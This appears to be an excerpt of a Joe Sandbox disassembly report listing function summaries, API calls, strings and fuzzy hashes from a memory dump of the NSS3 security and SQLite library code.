Opcode Fuzzy Hash: 99c8eb000bd87af3cfe754ca0fb4329921fd428b8e208c64e249a05ac50c61ff
Instruction Fuzzy Hash: 9001A1B5900204BBDF01AF58DC86CAF3F6CEF86368F014426FD0A97711D631E95086AA

Function 6C5B1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=Kl,?,?,6C4B4E1D), ref: 6C5B1C8A
sqlite3_free.NSS3(00000000), ref: 6C5B1CB6

Strings

an index, xrefs: 6C5B1C67
a generated column, xrefs: 6C5B1C6C
a CHECK constraint, xrefs: 6C5B1C76, 6C5B1C81
non-deterministic use of %s() in %s, xrefs: 6C5B1C85
w=Kl, xrefs: 6C5B1C44

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=Kl
API String ID: 1840970956-4163151315
Opcode ID: ca0f028d6e617fb4f0ecd3f500d8c4de7a38dd9d91f3c6330a9fac268d3a572c
Instruction ID: be68ee6a05d6e45ea2664d00eee64404e566ae95fd4e27a91f6dc1c8ac43973a
Opcode Fuzzy Hash: ca0f028d6e617fb4f0ecd3f500d8c4de7a38dd9d91f3c6330a9fac268d3a572c
Instruction Fuzzy Hash: 5D0124B1A001404BE704FA68DC12DB277E5EF9234CB15486DE8489BB42EB32E857CB91

Function 6C594D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C594DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C594DE0

Strings

invalid, xrefs: 6C594DB8
API call with %s database connection pointer, xrefs: 6C594DBD
misuse, xrefs: 6C594DD5
%s at line %d of [%.10s], xrefs: 6C594DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C594DCB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c431d8fe288685e802b9237af157f2ff3d9947e5379c0d0a062812ebb1c7a24e
Instruction ID: 515036b895e4074123dd15e0be754154e163636f4058db7aa2aba2b38031d9c4
Opcode Fuzzy Hash: c431d8fe288685e802b9237af157f2ff3d9947e5379c0d0a062812ebb1c7a24e
Instruction Fuzzy Hash: C7F0593AF157A82BD7108014CC20FC63B955F01318F0A09E0EE247BE72D3069C4082D1

Function 6C594DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C594E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C594E4D

Strings

invalid, xrefs: 6C594E25
API call with %s database connection pointer, xrefs: 6C594E2A
misuse, xrefs: 6C594E42
%s at line %d of [%.10s], xrefs: 6C594E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C594E38

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 79cc12e31bc7a66fd97a1fd7e117b79f8a60811d545c0dd55fa6b196d7710e1c
Instruction ID: 1953a0109fcd04459fcfc023270388d7a2020526f48862e1e8ab304e47bb4792
Opcode Fuzzy Hash: 79cc12e31bc7a66fd97a1fd7e117b79f8a60811d545c0dd55fa6b196d7710e1c
Instruction Fuzzy Hash: 41F02735F849A82FE61450259D10FD23B855B1532DF1949E1EB387BE92D3069C6242E3

Function 6C4DD9D0 Relevance: 12.2, APIs: 8, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(D958E852,6C4E1397,5B5F5EC0,?,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB3C
Part of subcall function 6C4DAB10: free.MOZGLUE(D958E836,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB49
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(5D5E6C6D), ref: 6C4DAB5C
Part of subcall function 6C4DAB10: free.MOZGLUE(5D5E6C61), ref: 6C4DAB63
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C4DAB6F
Part of subcall function 6C4DAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C4DAB76

TlsGetValue.KERNEL32(?,?,?,CE534353,?,00000007), ref: 6C4DDA10
EnterCriticalSection.KERNEL32(0000001C,?,?,?,CE534353,?,00000007), ref: 6C4DDA24
PK11_IsFriendly.NSS3(?,?,?,?,CE534353,?,00000007), ref: 6C4DDA7E
PK11_IsLoggedIn.NSS3(?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4DDA96
PR_Unlock.NSS3(00000000,?,?,?,CE534353,?,00000007), ref: 6C4DDB17
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DDBFB
PR_Unlock.NSS3(00000000), ref: 6C4DDC3C
PR_Unlock.NSS3(00000000), ref: 6C4DDC69

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$DeleteUnlockfree$K11_$EnterFriendlyLoggedValuememcpy
String ID:
API String ID: 3222563534-0
Opcode ID: 1e2799960e53aca48fdd8940026c5a99015926537ff696c2e6e37bc83e5ca0c7
Instruction ID: b182cb91693051050dbba53043e9e936fd96fe8203f815edc8334e6827d5b95a
Opcode Fuzzy Hash: 1e2799960e53aca48fdd8940026c5a99015926537ff696c2e6e37bc83e5ca0c7
Instruction Fuzzy Hash: 4991CF75A002169BDB00EF59D8A0EAABBB1FF4430DF268068D9155BB41E731F952CFE1

Function 6C4C9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4CA086
EnterCriticalSection.KERNEL32(?), ref: 6C4CA09B
PR_Unlock.NSS3(?), ref: 6C4CA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CA0E9
TlsGetValue.KERNEL32 ref: 6C4CA11B
EnterCriticalSection.KERNEL32(?), ref: 6C4CA12F
PR_Unlock.NSS3(?), ref: 6C4CA148

Part of subcall function 6C4E1A40: PR_Now.NSS3(?,00000000,6C4C28AD,00000000,?,6C4DF09A,00000000,6C4C28AD,6C4C93B0,?,6C4C93B0,6C4C28AD,00000000,?,00000000), ref: 6C4E1A65

Part of subcall function 6C4E1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C4E4126,?), ref: 6C4E1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CA1A3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: de1abc97360c01aa0c486fc0d56aa5ba1629ccc23033e20ebced47d465114140
Instruction ID: 4b9604af4fe192bbc649db42636cefd7c291dbcedf1ffe2488e8b51ae80f60aa
Opcode Fuzzy Hash: de1abc97360c01aa0c486fc0d56aa5ba1629ccc23033e20ebced47d465114140
Instruction Fuzzy Hash: D051E8B9B002009BEB10DF6ACC84EABB7B8AF86349F15452DDC1997711EF31E945C692

Function 6C500C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C501444,?,00000001,?,00000000,00000000,?,?,6C501444,?,?,00000000,?,?), ref: 6C500CB3

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?,?,6C501444,?), ref: 6C500DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?,?,6C501444,?), ref: 6C500DEC

Part of subcall function 6C520F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C4C2AF5,?,?,?,?,?,6C4C0A1B,00000000), ref: 6C520F1A
Part of subcall function 6C520F10: malloc.MOZGLUE(00000001), ref: 6C520F30
Part of subcall function 6C520F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C520F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?), ref: 6C500DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C501444,?,00000001,?,00000000), ref: 6C500E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?), ref: 6C500E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?,?,6C501444,?,?,00000000), ref: 6C500E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C501444,?,00000001,?,00000000,00000000,?), ref: 6C500E79

Part of subcall function 6C511560: TlsGetValue.KERNEL32(00000000,?,6C4E0844,?), ref: 6C51157A
Part of subcall function 6C511560: EnterCriticalSection.KERNEL32(?,?,?,6C4E0844,?), ref: 6C51158F
Part of subcall function 6C511560: PR_Unlock.NSS3(?,?,?,?,6C4E0844,?), ref: 6C5115B2

Part of subcall function 6C4DB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C4E1397,00000000,?,6C4DCF93,5B5F5EC0,00000000,?,6C4E1397,?), ref: 6C4DB1CB
Part of subcall function 6C4DB1A0: free.MOZGLUE(5B5F5EC0,?,6C4DCF93,5B5F5EC0,00000000,?,6C4E1397,?), ref: 6C4DB1D2

Part of subcall function 6C4D89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4D88AE,-00000008), ref: 6C4D8A04
Part of subcall function 6C4D89E0: EnterCriticalSection.KERNEL32(?), ref: 6C4D8A15
Part of subcall function 6C4D89E0: memset.VCRUNTIME140(6C4D88AE,00000000,00000132), ref: 6C4D8A27
Part of subcall function 6C4D89E0: PR_Unlock.NSS3(?), ref: 6C4D8A35

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: c8f096244926e776d09a8ba77e085a41a174f710337ea02572dca98e936d5d7f
Instruction ID: 9c22e76ffc9a607fb3db5e4d5aea91151f1a5d054afaf74ef0cc24a7eba2067b
Opcode Fuzzy Hash: c8f096244926e776d09a8ba77e085a41a174f710337ea02572dca98e936d5d7f
Instruction Fuzzy Hash: 8151A8B6E002019FEB00DF64DC81EAF37A89F89259F150465EC05D7B12EB21FD15C6E2

Function 6C4B6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C4B6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C4B6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C4B6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C4B6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C4B6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C4B7010
sqlite3_value_blob.NSS3(?,?), ref: 6C4B701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C4B7052

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 2d756c778bd63b045571dac5c45b242aeda8297eabd27d74358df7b3fa519f87
Instruction ID: bda07b19e15fe2b803c6d2bc43852035a8bdbcc8ace7d49f5d36664a165f3c43
Opcode Fuzzy Hash: 2d756c778bd63b045571dac5c45b242aeda8297eabd27d74358df7b3fa519f87
Instruction Fuzzy Hash: BC61B1B1E152198BDB04CFA8C810FEEB7B2AF85308F184169D815BB751E7359C16CBB0

Function 6C528F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C527313), ref: 6C528FBB

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C527313), ref: 6C529012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C527313), ref: 6C52903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C527313), ref: 6C52909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C527313), ref: 6C5290DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C527313), ref: 6C5290F1

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C527313), ref: 6C52906B

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C527313), ref: 6C529128

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 475d84c873aea60d992be936e539598445058031dc3d8fb57d2f37b73e7cf9f0
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1451A071E002158FEB10DF6ADC84B66B3F9AF84318F154429D915D7BE1EB3AE804CBA1

Function 6C4D9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C4D8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C4E0715), ref: 6C4D8859
Part of subcall function 6C4D8850: PR_NewLock.NSS3 ref: 6C4D8874
Part of subcall function 6C4D8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C4D888D

PR_NewLock.NSS3 ref: 6C4D9CAD

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

TlsGetValue.KERNEL32 ref: 6C4D9CE8
EnterCriticalSection.KERNEL32(?,?,6C4DECEC,6C4E2FCD,00000000,?,6C4E2FCD,?), ref: 6C4D9D01
TlsGetValue.KERNEL32(?,?,?,6C4DECEC,6C4E2FCD,00000000,?,6C4E2FCD,?), ref: 6C4D9D38
EnterCriticalSection.KERNEL32(?,?,6C4DECEC,6C4E2FCD,00000000,?,6C4E2FCD,?), ref: 6C4D9D4D
PR_Unlock.NSS3 ref: 6C4D9D70
PR_Unlock.NSS3 ref: 6C4D9DC3
PR_NewLock.NSS3 ref: 6C4D9DDD

Part of subcall function 6C4D88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4E0725,00000000,00000058), ref: 6C4D8906
Part of subcall function 6C4D88D0: EnterCriticalSection.KERNEL32(?), ref: 6C4D891A
Part of subcall function 6C4D88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C4D894A
Part of subcall function 6C4D88D0: calloc.MOZGLUE(00000001,6C4E072D,00000000,00000000,00000000,?,6C4E0725,00000000,00000058), ref: 6C4D8959
Part of subcall function 6C4D88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8993
Part of subcall function 6C4D88D0: PR_Unlock.NSS3(?), ref: 6C4D89AF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 3d6aa38fb2a409ca68edcc4a9cfb9e6c2ab7c3b08a08d09a852b431e0ac4ae96
Instruction ID: 4ef9cc5b354a9f5e3766b8e6d9d2bdb62fadcd3dfc32ec2b864f019bc8095cd6
Opcode Fuzzy Hash: 3d6aa38fb2a409ca68edcc4a9cfb9e6c2ab7c3b08a08d09a852b431e0ac4ae96
Instruction Fuzzy Hash: 62514CB0A056059FDB00EF69C4A4E6ABBF0BF54345F168569D898DBB10DB31F884CBD1

Function 6C5D9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5D9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C5D9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C5D9F73
EnterCriticalSection.KERNEL32(?), ref: 6C5D9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C5D9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C5D9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C5DA01D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f201b8979bc5b1e2d994430aad4dfc64dee8a63872129089291fe33384d9e090
Instruction ID: f56048c764954242c4c6be45723579d49ec5f21058c13e9986e83ab9eda4fbd8
Opcode Fuzzy Hash: f201b8979bc5b1e2d994430aad4dfc64dee8a63872129089291fe33384d9e090
Instruction Fuzzy Hash: 4C5191B2800712DBCB109F19DC8064AB7B0FF44319F26856AD85A57B52EB31FC85CF91

Function 6C5088E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5088FC

Part of subcall function 6C51BE30: SECOID_FindOID_Util.NSS3(6C4D311B,00000000,?,6C4D311B,?), ref: 6C51BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C508913

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B
